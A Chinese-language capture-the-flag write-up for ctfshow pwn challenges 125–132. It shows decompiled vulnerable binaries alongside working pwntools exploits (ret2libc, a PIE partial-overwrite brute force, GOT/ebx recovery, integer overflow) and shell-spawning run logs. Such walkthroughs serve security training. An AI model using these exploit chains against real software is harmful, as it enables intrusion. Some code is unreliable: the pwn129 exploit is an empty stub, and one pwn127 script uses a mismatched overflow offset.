; __int64 ctfshow() public ctfshow ctfshow proc near var_2000= byte ptr -2000h ; __unwind { push rbp mov rbp, rsp sub rsp, 2000h lea rax, [rbp+var_2000] mov rsi, rax lea rdi, p__s ; "%s" mov eax, 0 call ___isoc99_scanf mov rdi, rsp nop leave retn ; } // starts at 400760 ctfshow endp
发现这⾥多出了mov rdi,rsp,这不就是将 rdi 指向了scanf读⼊的数据在内存中的第⼀个位置?利⽤这⼀点可以很简单写⼊”/bin/sh\x00”
那么现在我们有了溢出漏洞,有了system,有了”/bin/sh“,就⾮常简单了
from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = process('./pwn' ) call_system = 0x400672 payload = b"/bin/sh\x00" + b'A' *(0x2000 ) + p64(call_system) io.sendline(payload) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 154 [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanism_Bypass * Site : https://ctf.show/ * Hint : Checking the assembly code may help you ! * ************************************* $ ls ctfshow_flag
pwn126(ubuntu18) Hint: 开启NX,但是如果ALSR = 0 会发生什么? [由于远程环境问题,关闭此保护容易引起Docker逃逸等问题,此处远程环境ALSR保护等级为2,但是可以在本地更改为0,并看有什么区别]
检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位开启NX,部分开启RELRO
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts ("Let's go" ); ctfshow(); return 0 ; }
跟进ctfshow():
ssize_t ctfshow () { _BYTE buf[64 ]; return read(0 , buf, 0x77u ); }
明显的栈溢出漏洞了,那么我们常规做法,也就是前⾯学习的过程中我们可以使⽤ret2libc轻松绕过
$ ROPgadget --binary ./pwn | grep "ret" 0x00000000004007a3 : pop rdi ; ret 0x00000000004004c6 : ret
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) main = elf.sym['main' ] puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi_ret = 0x4007a3 ret = 0x4004c6 payload = cyclic(0x40 +8 ) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) io.sendlineafter(b"Let's go" ,payload) puts_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts_addr))libc_base = puts_addr - libc.sym['puts' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) system_addr = libc_base + libc.sym['system' ] payload = cyclic(0x40 +8 ) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr) io.sendlineafter(b"Let's go" ,payload) io.recv() io.interactive()
依据题⽬描述,我们可知远程环境的ALSR保护为2,我们先在本地改为0,可以发现,我们⽆需去进⾏泄漏地址,直接在gdb调试找到对应地址即可进⾏攻击。
$ gdb ./pwn pwndbg> r ^c pwndbg> cyclic(200) pwndbg> c ... pwndbg> ropper -- --search "pop rdi; ret;" warning: Memory read failed for corefile section, 4096 bytes at 0xffffffffff600000. Saved corefile /tmp/tmpsbm9741l [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi; ret; [INFO] File: /tmp/tmpsbm9741l 0x00000000004007a3: pop rdi; ret; pwndbg> ropper -- --search "ret;" warning: Memory read failed for corefile section, 4096 bytes at 0xffffffffff600000. Saved corefile /tmp/tmp4e9l8xcp [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: ret; [INFO] File: /tmp/tmp4e9l8xcp 0x00000000004004c6: ret; pwndbg> p system $1 = {int (const char *)} 0x7ffff7df8750 <__libc_system>pwndbg> search -t string "/bin/sh" libc Searching for string: b'/bin/sh\x00' libc.so.6 0x7ffff7f6b42f 0x68732f6e69622f /* '/bin/sh' */ pwndbg> x/s 0x7ffff7f6b42f 0x7ffff7f6b42f: "/bin/sh"
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) system = 0x7ffff7df8750 binsh = 0x7ffff7f6b42f pop_rdi = 0x4007a3 ret = 0x4004c6 payload = cyclic(0x40 +8 ) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) io.send(payload) io.recv() io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 59 [*] '/PWN/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0x7f7cc0123970 [*] Switching to interactive mode $ ls $ python3 exp.py [+] Starting local process './pwn' : pid 471 [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled SHSTK: Enabled IBT: Enabled [*] Switching to interactive mode $ ls ctfshow_flag
pwn127 Hint:No PIE 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64位开启NX,部分开启RELRO
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); logo(); puts ("See you again!" ); ctfshow(); write(0 , "Hello CTFshow!\n" , 0xEu ); return 0 ; }
跟进ctfshow():
ssize_t ctfshow () { _BYTE buf[128 ]; return read(0 , buf, 0x100u ); }
同样的原理,未开启PIE时,仍然可以⽤ret2libc的⽅法,这⾥可以当作对前⾯题⽬的复习
$ ROPgadget --binary ./pwn | grep "ret" 0x0000000000400803 : pop rdi ; ret 0x0000000000400801 : pop rsi ; pop r15 ; ret 0x00000000004004fe : ret
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) main = elf.sym['main' ] puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi_ret = 0x400803 ret = 0x4004fe payload = cyclic(0x80 +8 ) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) io.sendlineafter(b"See you again!" ,payload) puts_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts_addr))libc_base = puts_addr - libc.sym['puts' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) system_addr = libc_base + libc.sym['system' ] payload = cyclic(0x80 +8 ) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr) io.sendlineafter(b"See you again!" ,payload) io.recv() io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 90 [*] '/PWN/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0x7fd9980a3970 [*] Switching to interactive mode $ ls
gdb调试
$ gdb ./pwn pwndbg> r ^c pwndbg> cyclic(200) pwndbg> c ... pwndbg> ropper -- --search "pop rdi; ret;" pwndbg> ropper -- --search "ret;" pwndbg> p system $1 = {int (const char *)} 0x7ffff7df8750 <__libc_system>pwndbg> search -t string "/bin/sh" libc Searching for string: b'/bin/sh\x00' libc.so.6 0x7ffff7f6b42f 0x68732f6e69622f /* '/bin/sh' */ pwndbg> x/s 0x7ffff7f6b42f 0x7ffff7f6b42f: "/bin/sh"
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) system = 0x7ffff7df8750 binsh = 0x7ffff7f6b42f pop_rdi = 0x400803 ret = 0x4004fe payload = cyclic(0x40 +8 ) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) io.send(payload) io.recv() io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 520 [*] '/CTFshow_pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled SHSTK: Enabled IBT: Enabled [*] Switching to interactive mode $ ls ctfshow_flag
pwn128[ASLR:0时本地能打通,试一下远程] Hint:Bypass PIE(本地环境跟远程环境略有差别,请注意识别查看并修改exp) 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
64位开启NX,开启了PIE,部分开启RELRO
IDA查看main函数,跟进dopwn():
int __fastcall main (int argc, const char **argv, const char **envp) { puts ( "--------------------------------------------\n" "| Welcome to CTFshow-PWN service |\n" "--------------------------------------------" ); dopwn( "--------------------------------------------\n" "| Welcome to CTFshow-PWN service |\n" "--------------------------------------------" ); return 0 ; } int __fastcall dopwn (__int64 p______________________________________________n____Welcome_to_CT) { _BYTE v2[140 ]; _DWORD s_[13 ]; memset (s_, 0 , 0x28u ); s_[10 ] = 140 ; set_user(v2); set_pwn(v2); return puts ("PWN delivered" ); }
dopwn():初始化栈变量v2[140](偏移rbp-C0h)和s_[13](偏移rbp-34h)
分别跟进set_user():
int __fastcall set_user (__int64 a1) { char s[140 ]; int n40; memset (s, 0 , 0x80u ); puts ("Enter your name" ); printf ("> " ); fgets(s, 128 , _bss_start); for ( n40 = 0 ; n40 <= 40 && s[n40]; ++n40 ) *(_BYTE *)(a1 + n40 + 140 ) = s[n40]; return printf ("Hi, %s" , (const char *)(a1 + 140 )); }
读取 128 字节用户名,将前 41 字节(n40=0~40)复制到v2+140~`v2+180,其中v2+180恰好是s_[10](strncpy`的长度参数)。
set_pwn():
char *__fastcall set_pwn (__int64 dest) { char s[1024 ]; memset (s, 0 , sizeof (s)); puts ("PWN our leader" ); printf ("> " ); fgets(s, 1024 , _bss_start); return strncpy ((char *)dest, s, *(int *)(dest + 180 )); }
读取 1024 字节输入,通过strncpy(dest, s, dest+180)复制到v2,长度由dest+180(即s_[10])控制 —— 若修改s_[10]为大值,可触发栈溢出。
仔细查看发现存在后⻔函数GAME_OVER():
int GAME_OVER () { char s[128 ]; fgets(s, 128 , _bss_start); return system(s); }
这个程序开启了PIE保护,我们不能确定后⻔函数GAME_OVER()的具体地址,因此没办法直接通过溢出来跳转到后⻔函数GAME_OVER()。我们可以尝试爆破。
由于内存的⻚载⼊机制,PIE的随机化只能影响到单个内存⻚。通常来说,⼀个内存⻚⼤⼩为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个⼗六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写⼊,每字节8位)就可以快速爆破或者直接劫持EIP。查看汇编代码:
.text:0000000000000900 ; int GAME_OVER() .text:0000000000000900 public GAME_OVER .text:0000000000000900 GAME_OVER proc near .text:0000000000000900 .text:0000000000000900 s = byte ptr -80h .text:0000000000000900 .text:0000000000000900 ; __unwind { .text:0000000000000900 push rbp .text:0000000000000901 mov rbp, rsp .text:0000000000000904 add rsp, 0FFFFFFFFFFFFFF80h .text:0000000000000908 mov rdx, cs:__bss_start ; stream .text:000000000000090F lea rax, [rbp+s] .text:0000000000000913 mov esi, 80h ; n .text:0000000000000918 mov rdi, rax ; s .text:000000000000091B call _fgets .text:0000000000000920 lea rax, [rbp+s] .text:0000000000000924 mov rdi, rax ; command .text:0000000000000927 call _system .text:000000000000092C nop .text:000000000000092D leave .text:000000000000092E retn .text:000000000000092E ; } // starts at 900 .text:000000000000092E GAME_OVER endp
我们可以看到其地址后三位为0x900
但是由于我们的payload必须按字节写⼊,每个字节是两个⼗六进制数,所以我们必须输⼊两个字节。除去已知的0x900还需要爆破⼀个⼗六进制数。这个数只可能在0~0xf之间改变,因此爆破并空间不⼤。
我们知道爆破失败的话程序就会崩溃,此时io的连接会关闭,因此调⽤io.recv( )会触发⼀个EOFError。由于这个特性,我们可以使⽤python的try…except…来捕获这个错误并进⾏处理。
值得注意的是,由于没有刷新缓冲区,导致远程部署环境时回显信息会有差异,即没有及时显⽰,先让你输⼊,在两次输⼊过后才进⾏回显。
$ gdb ./pwn pwndbg> info functions GAME_OVER All functions matching regular expression "GAME_OVER" : Non-debugging symbols: 0x0000000000000900 GAME_OVER pwndbg> r > ^C pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File (set vmmap-prefer-relpaths on) 0x555555400000 0x555555401000 r-xp 1000 0 pwn pwndbg> x/1i 0x555555400900 0x555555400900 <GAME_OVER>: push rbp
本地exp:
from pwn import *context.update(arch='amd64' , os='linux' ) io = process('./pwn' ) payload = b'a' * 40 + b'\xca' io.recvuntil(b"Enter your name" ) io.sendlineafter(b"> " ,payload) game_over_addr = 0x555555400900 payload = cyclic(0xc0 +8 ) + p64(game_over_addr) io.recvuntil(b"PWN our leader" ) io.sendlineafter(b"> " ,payload) io.sendline(b'/bin/sh\x00' ) io.interactive()
远程exp:
from pwn import *context.update(arch = 'amd64' , os = 'linux' ) i = 0 while True : i += 1 print (i) io = process('./pwn' ) payload = b'a' *40 payload += b'\xca' io.sendline(payload) payload = cyclic(0xc0 +8 ) payload += b'\x01\x09' io.sendline(payload) try : io.recv(timeout = 1 ) except EOFError: io.close() continue else : sleep(0.1 ) io.sendline(b'/bin/sh\x00' ) sleep(0.1 ) io.interactive() break
$ python3 exp.py 1 [+] Starting local process './pwn' : pid 570 [*] Switching to interactive mode $ ls ctfshow_flag
pwn129【先过】 Hint:Calc 1.0(远程环境:Ubuntu 16.04) 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
64位开启NX,开启了PIE,部分开启RELRO
IDA查看main函数:
__int64 __fastcall main (__int64 a1, char **a2, char **a3, __int64 a4, __int64 a5, __int64 a6) { int n2; sub_DDC(a1, a2, a3, a4, a5, a6, 0 , 0 , 0 , 0 ); sub_B69(); while ( 1 ) { while ( 1 ) { sub_DA5(); n2 = sub_B00(); if ( n2 != 2 ) break ; sub_D06(); } if ( n2 == 3 ) break ; if ( n2 == 1 ) sub_B94(); else puts ("Wrong input" ); } sub_D92(); return 0 ; }
sub_DDC进⾏数值初始化(init),sub_B69进⾏打印logo(logo)。
接下来进⼊⼀个while循环中,紧接着进⼊另⼀个while循环,调⽤sub_DA5函数打印菜单
int sub_DA5 () { puts ("1.RUN" ); puts ("2.SHELL" ); puts ("3.Abandon!" ); return puts ("Choice:" ); }
然后调⽤sub_DB00函数,读⼊⼀个字符,若此字符⼩于等于0则返回-1,否则,将字符⽤strtol函数强转为⼗进制数据,然后返回。返回值赋值给main函数的局部变量n2。若n2不为2则结束当前while循环,否则,调⽤sub_D06函数:
__int64 sub_B00 () { _QWORD buf[4 ]; memset (buf, 0 , sizeof (buf)); if ( read(0 , buf, 0x1Fu ) > 0 ) return strtol((const char *)buf, 0 , 10 ); else return -1 ; } int sub_D06 () { char s_[264 ]; if ( unk_20208C ) sprintf (s_, "Hint: %p\n" , &system); else strcpy (s_, "NO PWN NO FUN" ); return puts (s_); }
会输出system函数的地址。
接下来就是第⼆层while循环下⾯的语句:
若刚刚读⼊数字n2不为3则结束循环,若n2不为1则打印字符串并继续最外层的while循环。
若n2为1,则进⼊sub_B94函数:
int sub_B94 () { __int64 v1; int v2; int v3; __int64 v4; __int64 n99; unsigned int n100; char s_[256 ]; puts ("How many doubts?" ); v1 = sub_B00(); if ( v1 > 0 ) v4 = v1; else puts ("Loser." ); puts ("Any more?" ); n99 = v4 + sub_B00(); if ( n99 > 0 ) { if ( n99 <= 99 ) { n100 = n99; } else { puts ("You are being a real man." ); n100 = 100 ; } puts ("Let's go! " ); v2 = time(0 ); if ( (unsigned int )sub_E43(n100) ) { v3 = time(0 ); sprintf (s_, "Great job! You finished %d question %d seconds\n" , n100, v3 - v2); puts (s_); } else { puts ("You failed." ); } exit (0 ); } return puts ("Loser~ Loser~ Loser~ Loser~ Loser~" ); }
跟进sub_E43():
_BOOL8 __fastcall sub_E43 (__int64 n100) { __int64 v2; _QWORD buf[4 ]; int v4; int v5; int v6; memset (buf, 0 , sizeof (buf)); if ( !(_DWORD)n100 ) return 1 ; if ( !(unsigned int )sub_E43((unsigned int )(n100 - 1 )) ) return 0 ; v6 = rand() % (int )n100; v5 = rand() % (int )n100; v4 = v5 * v6; puts ("======================Calc 1.0======================" ); printf ("doubt %d\n" , n100); printf ("Question: %d * %d = ? Answer:" , v6, v5); read(0 , buf, 0x400u ); v2 = strtol((const char *)buf, 0 , 10 ); return v2 == v4; }
read会读⼊0x400个字符到栈上,⽽对应的局部变量buf显然没那么⼤,因此会造成栈溢出。由于使⽤了PIE,⽽且题⽬中虽然有system但是没有后⻔,所以本题没办法使⽤partial write劫持RIP。
在进⾏调试时发现了栈上有⼤量指向libc的地址。
查看⼀下汇编代码:
mov eax, [rbp+var_34] mov esi, eax lea rdi, aDoubtD ; "doubt %d\n" mov eax, 0 call _printf mov edx, [rbp+var_8]
可以发现printf输出的参数位于栈上,通过rbp定位。
利⽤这两个信息,我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存,从⽽泄露出这些地址,利⽤这些地址和libc就可以计算到one gadget RCE的地址从⽽栈溢出调⽤。我们把RBP的最后两个⼗六进制数改成0x5c,此时[rbp+var_34] = 0x5c-0x34=0x28,泄露位于这个位置的地址。但是成功率有限,有时候能泄露出libc中的地址,有时候是start的⾸地址,有时候是⽆意义的数据,甚⾄会直接出错,原因是[rbp+var_34]中的数据是0,idiv除法指令产⽣了除零错误。此外,我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个⼗六进制数。⽽这个数的最⾼位可能是0或者1,转换成有符号整数就可能是正负两种情况。
由于我们泄露出来的只是地址的低32位,抛去前⾯的4个0,我们还需要猜16位,即4个⼗六进制数,这种⽅式的爆破区间有点⼤,成功⼏率较低,需要对各种条件进⾏限制才能提升⼏率。
经过调试,发现程序加载地址都为0x000055XXXXXXXXXX-0x000056XXXXXXXXXX
libc的地址都为0x7fXXXXXXXXXX
已知8个16进制数,剩下两个随便填⼀下如:2a
from pwn import *context.log_level = 'debug' io = process('./pwn' ) payload = b"" io.interactive()
pwn130[先过] Hint:Calc 2.0远程环境:Ubuntu 16.04 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
还是64位保护全开
IDA查看main函数:
int __fastcall main (int argc, const char **argv, const char **envp) { unsigned int v4; int n0x7FFFFFFF; unsigned __int64 v6; v6 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); puts ("Maybe these help you:" ); useful(); v4 = 0x80000000 ; n0x7FFFFFFF = 0x7FFFFFFF ; printf ("Enter two integers: " ); if ( (unsigned int )__isoc99_scanf("%d %d" , &v4, &n0x7FFFFFFF) == 2 ) { if ( v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF ) gift(); else printf ("upover = %d, downover = %d\n" , v4, n0x7FFFFFFF); return 0 ; } else { puts ("Error: Invalid input. Please enter two integers." ); return 1 ; } }
一个很简单的逻辑,先看到有一个useful函数,然后给v4和v5赋值为 0x80000000,0x7FFFFFFF,再提示用户输入两个整数,并将它存储在变量v4和v5中,返回值被强制转换为无符号数,然后与2进行比较。满足后进入下一个if语句,不满足则输出错误信息。如果输入的两个整数分别等于v4跟v5的初始值,则进入这个条件分支,有一个gift函数。如果输入的两个整数不是初始值,则输出这两个数的值。
分别跟进几个不知道干啥的函数useful:
int useful () { puts (" ====================================================================================================" ); puts (" Type | Byte | Range " ); puts (" ====================================================================================================" ); puts (" short int | 2 byte | 0~0x7fff 0x8000~0xffff " ); puts (" unsigned short int | 2 byte | 0~0xffff " ); puts (" int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff " ); puts (" unsigned int | 4 byte | 0~0xffffffff " ); puts (" long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff" ); puts (" unsigned long int | 8 byte | 0~0xffffffffffffffff " ); return puts (" ====================================================================================================" ); }
这里的0 ~ 0x7fffffff 就是 0~2147483647 ,
0x80000000 ~ 0xffffffff 就是 -2147483648 ~ -1
gift:
int gift () { puts ("This is the first question of this type" ); puts ("Here is you want:" ); return system("cat /ctfshow_flag" ); }
那么就很简单了只要我们输入的数等于它的初始值满足此条件即可
输入-2147483648 2147483647
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Integer_Overflow * Site : https://ctf.show/ * Hint : Learn something first ! * ************************************* Maybe these help you: ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ==================================================================================================== Enter two integers: -2147483648 2147483647 This is the first question of this type Here is you want: flag{just_test_my_process}
from pwn import *context.log_level = 'debug' io = process('./pwn' ) payload = b"-2147483648 2147483647" io.sendlineafter(b"Enter two integers: " ,payload) io.interactive()
pwn131(ubunt18) Hint:常规绕过 检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
32位程序仅关闭Canary
IDA查看main函数:
int __cdecl main (int argc, const char **argv, const char **envp) { init(&argc); logo(); puts ("main addr is here :" ); printf ("%p\n" , main); ctfshow(); write(0 , "Hello CTFshow!\n" , 0xEu ); return 0 ; }
发现程序输出了main函数的地址
跟进ctfshow函数:
ssize_t ctfshow () { _BYTE buf[132 ]; return read(0 , buf, 0x100u ); }
明显的栈溢出漏洞
接着看:
$ gdb ./pwn pwndbg> disas /r main Dump of assembler code for function main: 0x0000079a <+0>: 8d 4c 24 04 lea ecx,[esp+0x4] 0x0000079e <+4>: 83 e4 f0 and esp,0xfffffff0 0x000007a1 <+7>: ff 71 fc push DWORD PTR [ecx-0x4] 0x000007a4 <+10>: 55 push ebp 0x000007a5 <+11>: 89 e5 mov ebp,esp 0x000007a7 <+13>: 53 push ebx 0x000007a8 <+14>: 51 push ecx 0x000007a9 <+15>: e8 72 fd ff ff call 0x520 <__x86.get_pc_thunk.bx> 0x000007ae <+20>: 81 c3 12 28 00 00 add ebx,0x2812 0x000007b4 <+26>: e8 64 fe ff ff call 0x61d <init> 0x000007b9 <+31>: e8 a5 fe ff ff call 0x663 <logo> 0x000007be <+36>: 83 ec 0c sub esp,0xc 0x000007c1 <+39>: 8d 83 eb dd ff ff lea eax,[ebx-0x2215] 0x000007c7 <+45>: 50 push eax 0x000007c8 <+46>: e8 c3 fc ff ff call 0x490 <puts@plt> 0x000007cd <+51>: 83 c4 10 add esp,0x10 0x000007d0 <+54>: 83 ec 08 sub esp,0x8 0x000007d3 <+57>: 8d 83 da d7 ff ff lea eax,[ebx-0x2826] 0x000007d9 <+63>: 50 push eax 0x000007da <+64>: 8d 83 ff dd ff ff lea eax,[ebx-0x2201] 0x000007e0 <+70>: 50 push eax 0x000007e1 <+71>: e8 9a fc ff ff call 0x480 <printf @plt> 0x000007e6 <+76>: 83 c4 10 add esp,0x10 0x000007e9 <+79>: e8 77 ff ff ff call 0x765 <ctfshow> 0x000007ee <+84>: 83 ec 04 sub esp,0x4 0x000007f1 <+87>: 6a 0e push 0xe 0x000007f3 <+89>: 8d 83 03 de ff ff lea eax,[ebx-0x21fd] 0x000007f9 <+95>: 50 push eax 0x000007fa <+96>: 6a 00 push 0x0 0x000007fc <+98>: e8 af fc ff ff call 0x4b0 <write@plt> 0x00000801 <+103>: 83 c4 10 add esp,0x10 0x00000804 <+106>: b8 00 00 00 00 mov eax,0x0 0x00000809 <+111>: 8d 65 f8 lea esp,[ebp-0x8] 0x0000080c <+114>: 59 pop ecx 0x0000080d <+115>: 5b pop ebx 0x0000080e <+116>: 5d pop ebp 0x0000080f <+117>: 8d 61 fc lea esp,[ecx-0x4] 0x00000812 <+120>: c3 ret End of assembler dump. pwndbg> disas /r ctfshow Dump of assembler code for function ctfshow: 0x00000765 <+0>: 55 push ebp 0x00000766 <+1>: 89 e5 mov ebp,esp 0x00000768 <+3>: 53 push ebx 0x00000769 <+4>: 81 ec 84 00 00 00 sub esp,0x84 0x0000076f <+10>: e8 9f 00 00 00 call 0x813 <__x86.get_pc_thunk.ax> 0x00000774 <+15>: 05 4c 28 00 00 add eax,0x284c 0x00000779 <+20>: 83 ec 04 sub esp,0x4 0x0000077c <+23>: 68 00 01 00 00 push 0x100 0x00000781 <+28>: 8d 95 78 ff ff ff lea edx,[ebp-0x88] 0x00000787 <+34>: 52 push edx 0x00000788 <+35>: 6a 00 push 0x0 0x0000078a <+37>: 89 c3 mov ebx,eax 0x0000078c <+39>: e8 df fc ff ff call 0x470 <read @plt> 0x00000791 <+44>: 83 c4 10 add esp,0x10 0x00000794 <+47>: 90 nop 0x00000795 <+48>: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4] 0x00000798 <+51>: c9 leave 0x00000799 <+52>: c3 ret End of assembler dump.
ctfshow函数的栈操作有个细节:
进入函数时:push ebx(把当前ebx保存到栈上,位置是ebp-0x4);
退出函数时:mov ebx, [ebp-0x4](从栈上恢复ebx)。
如果栈溢出时覆盖了ebp-0x4的内容(保存ebx的位置),导致恢复的ebx错误,调用任何函数都会崩溃。所以溢出时必须手动填对ebx的值 。
所以与之前的不同,它不再对程序的原始字节码做修改,⽽是使⽤⼀类__x86.get_pc_thunk.xx函数,通过PC指针来进⾏定位
__x86.get_pc_thunk.bx的作⽤将下⼀条指令的地址赋值给ebx寄存器,然后通过加上⼀个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址
ebx = 0x7ae + 0x2812 = 0x2fc0
程序在运⾏时,这个基地址就是程序第三部分的起始位置
由于在函数末尾有恢复ebx寄存器的⾏为,因此需要在溢出时需要将GOT地址也覆盖上去,⾄此就完成了ASLR和PIE的绕过。
# 构造第一个payload:调用write泄露write的实际地址 # 栈布局(以ctfshow的ebp为基准): # [ebp-0x88~ebp-1]:buf[132] → 用132字节填充 # [ebp-0x4]:保存的ebx → 填ebx_addr(恢复ebx) # [ebp]:旧ebp → 填“bbbb”(随便填,不影响) # [ebp+4]:返回地址 → 填write_plt(调用write) # [ebp+8]:write的返回地址 → 填ctfshow_addr(写完后回到ctfshow,等第二次溢出) # [ebp+12]:write的参数3(count=4)→ 32位地址占4字节,读4字节就行 # [ebp+16]:write的参数2(buf=write_got)→ 输出write_got里的内容(write实际地址) # [ebp+20]:write的参数1(fd=1)→ 1是stdout(标准输出),把内容打印到屏幕 # 构造第二个payload:调用system("/bin/sh") # 栈布局: # 前140字节:填充到返回地址(132(buf) + 4(ebx) + 4(ebp) = 140) # [ebp+4]:返回地址 → 填system_addr(调用system) # [ebp+8]:system的返回地址 → 填0(随便填,不影响) # [ebp+12]:system的参数(/bin/sh地址)→ 填binsh_addr
from pwn import *context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) io.recvuntil(b"main addr is here :\n" ) main_addr = int (io.recvline(),16 ) print (hex (main_addr))base_addr = main_addr - elf.sym['main' ] ctfshow_addr = base_addr + elf.sym['ctfshow' ] write_plt = base_addr + elf.sym['write' ] write_got = base_addr + elf.got['write' ] ebx_addr = base_addr + 0x2fc0 payload1 = cyclic(132 ) + p32(ebx_addr) + b'bbbb' + p32(write_plt) + p32(ctfshow_addr) + p32(1 ) + p32(write_got) + p32(4 ) io.send(payload1) write_actual_addr = u32(io.recv(4 )) print (hex (write_actual_addr))libc_base = write_actual_addr - libc.sym['write' ] system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh' )) payload2 = cyclic(140 ) + p32(system_addr) + p32(0 ) + p32(binsh_addr) io.send(payload2) io.interactive()
$ python3 exp.py [+] Starting local process './pwn' : pid 89 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0x5a86679a 0xf7381b80 [*] Switching to interactive mode $ ls ctfshow_flag
pwn132 Hint:非常简单的逻辑 检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
64位保护全开,这⾥并没有开启FORTIFY保护
IDA查看main函数:
